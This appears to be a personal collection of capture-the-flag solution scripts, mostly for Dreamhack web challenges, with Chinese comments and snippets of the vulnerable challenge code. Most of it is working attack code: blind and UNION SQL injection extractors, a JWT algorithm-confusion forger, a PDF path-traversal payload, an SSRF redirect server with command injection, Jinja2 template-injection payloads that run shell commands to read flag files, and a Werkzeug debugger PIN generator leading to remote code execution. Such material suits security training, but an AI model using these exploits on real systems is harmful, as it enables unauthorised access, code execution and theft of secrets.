from datetime import datetime, timezone
time_str = "26/01/2026, 08:18:02 UTC"
dt = datetime.strptime(time_str, "%d/%m/%Y, %H:%M:%S UTC")
dt = dt.replace(tzinfo=timezone.utc)
timestamp = int(dt.timestamp())
print("admin." + str(timestamp*2026))

q2 = q + q  # 输入被重复两次
sql = f"SELECT id, username FROM users WHERE username='{q2}'"

import requests
import urllib.parse

BASE_URL = "http://host1.dreamhack.games:23244"
TARGET_URL = f"{BASE_URL}/search"

def check_char(pos, ascii_val):
    condition = f"ASCII(SUBSTRING((SELECT password FROM users WHERE username='adminadmin'),{pos},1))={ascii_val}"
    payload = f"' OR {condition} AND '1'='1"
    
    params = {'q': payload}
    
    try:
        response = requests.get(TARGET_URL, params=params, timeout=5)
        
        if '<li>' in response.text and 'adminadmin</li>' in response.text:
            return True
    except requests.exceptions.RequestException as e:
        print(e)
    
    return False

def exploit():
    print("[+] 22...")
    flag = ""
    
    for pos in range(1, 100):
        found_at_pos = False
        for ascii_val in range(32, 127):
            if check_char(pos, ascii_val):
                char = chr(ascii_val)
                flag += char
                print(f"  [Pos {pos}] 匹配成功: '{char}' -> Current Flag: {flag}")
                found_at_pos = True
                break
        
        if not found_at_pos or flag.endswith('}'):
            break

    print(f"\n[!] FLAG: {flag}")

if __name__ == "__main__":
    exploit()
# [!] FLAG: DH{Here_Is_FLAG!_Here_Is_FLAG!}

BASE = "http://localhost:5050"
target = BASE + raw_path # 这个raw_path是通过path参数传入的，可控的
login_url = BASE + "/login?id=admin&password=[FAKE_PASSWORD]"

driver.get(BASE + "/")
driver.get(target)
time.sleep(5)

driver.get(login_url)
time.sleep(1)

@app.get("/login")
def login():
	sid = request.cookies.get(COOKIE_NAME)
	userId = request.args.get("id", "")
	password = request.args.get("password", "")
	
	print(f"sid:{sid}, userId:{userId}, password:{password}")

	resp = make_response(jsonify(ok=True))

	with _lock:
        # 下面这个sha256_hex我改过了，不然admin也没法登录
		if userId == "admin" and sha256_hex(password) == "f2a9786fd090a2ddc191e3ab443d718c23f34ccf7be485a83ef54c3b48ccd5cc":
			if (not sid) or (sid not in _store):
				sid = newSid()
			_store[sid] = {"role": "admin"}
		else:
			sid = newSid()
			_store[sid] = {"role": "guest"}

	resp.set_cookie(COOKIE_NAME, sid, httponly=True, path="/")
	return resp    

BASE = Path(__file__).resolve().parent
STORAGE = BASE / "storage"
BOT = BASE / "backend" / "bot.py"

BASE = Path(__file__).resolve().parent
STORAGE = BASE / "storage"
FRONT = BASE / "frontend"
INTERNAL = "http://127.0.0.1:5006"
ENV_PATH = BASE / "credit"

def read_env_value(key: str):
    if not ENV_PATH.exists():
        return None
    for line in ENV_PATH.read_text(errors="ignore").splitlines():
        line = line.strip()
        if not line or line.startswith("#") or "=" not in line:
            continue
        k, v = line.split("=", 1)
        if k.strip() == key:
            return v.strip().strip('"').strip("'")
    return None

@app.get("/flag")
def flag():
    role = read_env_value("ROLE")
    if role != "admin":
        return jsonify({"ok": False, "error": "forbidden"}), 403

    flag_value = os.getenv("FLAG", "DH{FAKE-FLAG}")
    return jsonify({"ok": True, "flag": flag_value})

# 这个在5006端口
@app.post("/process/<n>")
def p(n):
    pdf = STORAGE / secure_filename(n)
    if not pdf.exists():
        return jsonify({"error": "not found"}), 404
    r = subprocess.run(
        ["python", str(BOT), str(pdf)],
        capture_output=True, text=True
    )
    if r.returncode != 0:
        return jsonify({"error": r.stderr}), 500
    return r.stdout, 200, {"Content-Type": "application/json"}

import fitz, subprocess, sys, json
from pathlib import Path

pdf = Path(sys.argv[1]).resolve()
out = Path(__file__).parent / "extracted" / pdf.stem
out.mkdir(parents=True, exist_ok=True)

doc = fitz.open(str(pdf))
names = doc.embfile_names()
doc.close()

res = []
for i, n in enumerate(names):
    o = out / f"file_{i}"
    p = subprocess.run(
        [sys.executable, "-m", "pymupdf", "embed-extract",
         str(pdf), "-name", n],
        capture_output=True,
        text=True
    )
    res.append({"name": n, "ok": p.returncode == 0, "out": str(o), "stderr": p.stderr})

print(json.dumps({
    "pdf": str(pdf),
    "count": len(names),
    "names": names,
    "results": res
}, ensure_ascii=False))

import fitz

doc = fitz.open()
doc.new_page()

doc.embfile_add(
    "private/credit",  # 内部检索名，用它来目录穿越。
    # 这个路径要看仔细啊，前面就觉得这个调用链很绕，pwd是/app
    b"ROLE=admin",  # 文件内容
)

doc.save("exploit.pdf")

@app.route("/login",methods=['POST'])
def login():
    banned_word=['from', 'where', 'insert', 'update', 'delete', 'join', 'substr', 'concat', 'table', 'database', 'schema', 'if', 'order', 'group', 'by', 'limit', 'offset', 'exists', 'between', 'regexp', 'binary', 'file', 'not', 'rlike', 'left', 'right', 'mid', 'lpad', 'rpad', 'char', 'user', 'version', 'session', 'sleep', 'benchmark', 'hex', 'base64', '0x', "x'",'x"','admin']
    banned_letter='+-*/=:;<>.?!\\$%^~`'
    username=request.form.get('username')
    password=request.form.get('password')
    for word in banned_word:
        if (word in username.lower()) or (word in password.lower()):
            return render_template('index.html',message='No Hack~ ^_^')
    for i in range(0,len(banned_letter),1):
        letter=banned_letter[i]
        if (letter in username.lower()) or (letter in password.lower()):
            return render_template('index.html',message='No Hack~ ^_^')
    query=f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
    print(query,flush=True)
    user=None
    try:
        connection=db_connection()
        cursor=connection.cursor()
        cursor.execute(query)
        user=cursor.fetchone()
        cursor.close()
        connection.close()
    except:
        user=None
    finally:
        if user and user[1]=='admin':
            return render_template('login.html',username=user[1],success=SECRET)
        elif user:
            return render_template('login.html',username=user[1],success='')
        else:
            return render_template('index.html',message='Invalid User ID or Password.')

import requests

url = "http://host1.dreamhack.games:16746/login"
alphabet = "0123456789abcdef{}_"

def check(payload):
    data = {"username": payload, "password": "any"}
    r = requests.post(url, data=data)
    return "Invalid" not in r.text

length = 0
for i in range(7): # 2^6 = 64
    bit = 1 << i
    if check(f"Rootsquare' AND (LENGTH(password) & {bit})#"):
        length |= bit
print(f"Password Length: {length}")

flag = ""
for i in range(length):
    for char in alphabet:
        # 构造类似 'flag' + 'a' + '____' 的结构
        underscores = "_" * (length - len(flag) - 1)
        test_str = flag + char + underscores
        if check(f"Rootsquare' AND password LIKE '{test_str}'#"):
            flag += char
            print(f"Current Flag: {flag}")
            break

# Current Flag: b1_4__{c29663c034fcefabe09d7c1af064caea}

def get_login_user():
    try:
        with open("log.txt", "r", encoding="utf-8") as f:
            for line in reversed(f.readlines()):
                line = line.strip()
                if line.startswith("user="):
                    username = line[len("user="):].strip()
                    if username=="None":
                        return None
                    return username
    except FileNotFoundError:
        return None
    return None

[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__=='catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('cat /app/flag.txt').read()

cur.execute(f"SELECT ev, job, info, t FROM audit ORDER BY {order} DESC LIMIT 80")

order_payload = f"t*(CASE WHEN (SELECT result FROM jobs WHERE id='{job_id}') LIKE '%{current_guess}%' THEN 1 ELSE -1 END)"

def _verify_and_decode_eddsa(token):
    if not token:
        raise InvalidTokenError("missing token")
    header_b64 = token.split('.')[0]
    padding = '=' * (-len(header_b64) % 4)
    header_bytes = base64.urlsafe_b64decode(header_b64 + padding)
    header = json.loads(header_bytes)
    alg = header.get("alg", "EdDSA")
    pubkey = read_key(PUBLIC_KEY_PATH)
    if isinstance(pubkey, bytes):
        pubkey = pubkey.decode("utf-8")
    return jwt.decode(token, key=pubkey, algorithms=jwt.algorithms.get_default_algorithms())

def _get_token_from_request():
    token = request.cookies.get("token")
    if not token:
        auth = request.headers.get("Authorization", "")
        if auth.lower().startswith("bearer "):
            token = auth.split(" ", 1)[1].strip()
    return token

def _verify_token(token):
    if not token:
        raise InvalidTokenError("missing token")
    pubkey = read_key(PUBLIC_KEY_PATH)
    if isinstance(pubkey, bytes):
        pubkey = pubkey.decode("utf-8")
    return jwt.decode(token, key=pubkey, algorithms=jwt.algorithms.get_default_algorithms())

cur.execute(f"SELECT id, content FROM notes WHERE owner_id = {uid} ORDER BY id DESC LIMIT 50")

import jwt

public_key_content = b"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDU4xkYF1yTDmUaZ9Ha9Km/NTA8Vt8M5r8HKorvaDorl" 

# 原始查询: SELECT id, content FROM notes WHERE owner_id = {uid} ...
# 注入后: SELECT ... WHERE owner_id = 0 UNION SELECT 1, value FROM flags ...
injection_payload = "0 UNION SELECT 1, value FROM flags"

payload = {
    "uid": injection_payload,
    "uname": "admin",
    "iat": 1700000000,
    "exp": 1900000000
}

# 使用 HS256 算法，密钥为公钥内容
fake_token = jwt.encode(payload, public_key_content, algorithm="HS256")

print(f"Cookie: token={fake_token}")

from flask import Flask, redirect
app = Flask(__name__)

@app.route('/redirect')
def exploit():
    # 这里填入 Payload
    return redirect('http://127.0.0.1:8080/api/read?filename=/etc/passwd')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/redirect')
def exploit():

    payload = "/etc/passwd%0Agrep%20-rIs%20DH%20%2f"
    target_url = f'http://127.0.0.1:8080/api/read?filename={payload}'
    
    print(f"[+] Redirecting target to: {target_url}")
    return redirect(target_url)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

import requests
from requests.adapters import HTTPAdapter
from concurrent.futures import ThreadPoolExecutor
import time

U = 'http://host8.dreamhack.games:12523/'

s = requests.Session()
s.mount('http://', HTTPAdapter(pool_connections=100, pool_maxsize=100, max_retries=0))
s.cookies.set('auth', s.post(f'{U}/api/login/guest').json()['token'])

def spin():
    try: return s.post(f'{U}/api/spin', json={'bet': 1}, timeout=3).json()
    except: return {}

bal, rnd = 100, 0
while bal < 1000000:
    with ThreadPoolExecutor(max_workers=100) as e:
        [f.result() for f in [e.submit(spin) for _ in range(200)]]

    bal = s.get(f'{U}/api/balance').json()['balance']
    rnd += 1

    if rnd % 20 == 0: print(f'R{rnd}: {bal:,}')
    if rnd % 10 == 0: time.sleep(0.1)

print(s.post(f'{U}/api/shop/flag').json()['flag'])

USER_DATABASE = 'data/users.db'
MEMO_DATABASE = 'memos.db'

if len(username) > 10:
    flash('Username must be 10 characters or less!')
    return render_template('register.html')

if len(password) > 10:
    flash('Password must be 10 characters or less!')
    return render_template('register.html')

template_path = f"data/templates/{template}"

if template.startswith("/") or template.startswith("../"):
    template_path = f"data/templates/default"

template_path = os.path.normpath(template_path)

try:
    FLAG = open('./flag.txt', 'r').read() # Flag is here!!
except:
    FLAG = '[**FLAG**]'

local_host = '127.0.0.1'
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer((local_host, local_port), http.server.SimpleHTTPRequestHandler)

@app.route('/keygen/<path:string>')
def keygen(string):
    n = len(string)-1
    a = hashlib.md5(string.encode('utf-8'))
    return str(hex(int(int(a.hexdigest(),16)/n)))

{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('cat /run.sh').read()}}

{{''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('curl http://localhost:8000/keygen/test').read()}}

probably_public_bits = [
    'root'  # username
    'flask.app',  # modname
    'Flask',  # appname
    '/usr/local/lib/python3.8/site-packages/flask/app.py'  # moddir
]

import hashlib
from itertools import chain


def mac_10():
    """
    /sys/class/net/eth0/address mac地址十进制
    :return:
    """
    mac_address = "aa:fc:00:02:1c:01"
    # 将MAC地址视为一个十六进制数（去掉冒号）
    value = int(mac_address.replace(":", ""), 16)
    return str(value)


probably_public_bits = [
    'root'  # username
    'flask.app',  # modname
    'Flask',  # appname
    '/usr/local/lib/python3.8/site-packages/flask/app.py'  # moddir
]

machine_id = ''
boot_id = '3dee9a2d-9d64-45dd-aec8-b6b51ecc4728'
c_group = '0::/libpod_parent/libpod-b56754c475f5477fbe0e2974955e58bd24f88d90e4c4f67ad8c984f56862b1da'

id = ''
if machine_id:
    id += machine_id.strip()
else:
    id += boot_id.strip()
id += c_group.strip().rpartition('/')[2]

private_bits = [
    mac_10(),  # mac地址
    id  #machin-id
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x: x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)
# 273-621-736

import urllib.request as r, urllib.parse as p, re
try: r.urlopen("http://127.0.0.1:8000/keygen/a")
except Exception as e: h = e.read().decode()
s = re.search('SECRET = "(.*?)";', h).group(1)
# SECRET = "H4JJYUB2zmXDJEmvr08M"
f = re.search('id="frame-(.*?)"', h).group(1)
# id="frame-140589298894208"
print("S:"+s+" F:"+f)
pin = '273-621-736'

q = r.Request("http://127.0.0.1:8000/keygen/a?__debugger__=yes&cmd=pinauth&pin="+pin+"&s="+s)
res = r.urlopen(q)

print("Auth OK with " + pin)
c = res.getheader('Set-Cookie')
if not c: c = res.getheader('set-cookie')
cmd = p.quote("__import__('os').popen('cat /flag').read()")
q2 = r.Request("http://127.0.0.1:8000/keygen/a?__debugger__=yes&cmd="+cmd+"&frm="+f+"&s="+s)
q2.add_header("Cookie", c)
print(r.urlopen(q2).read().decode())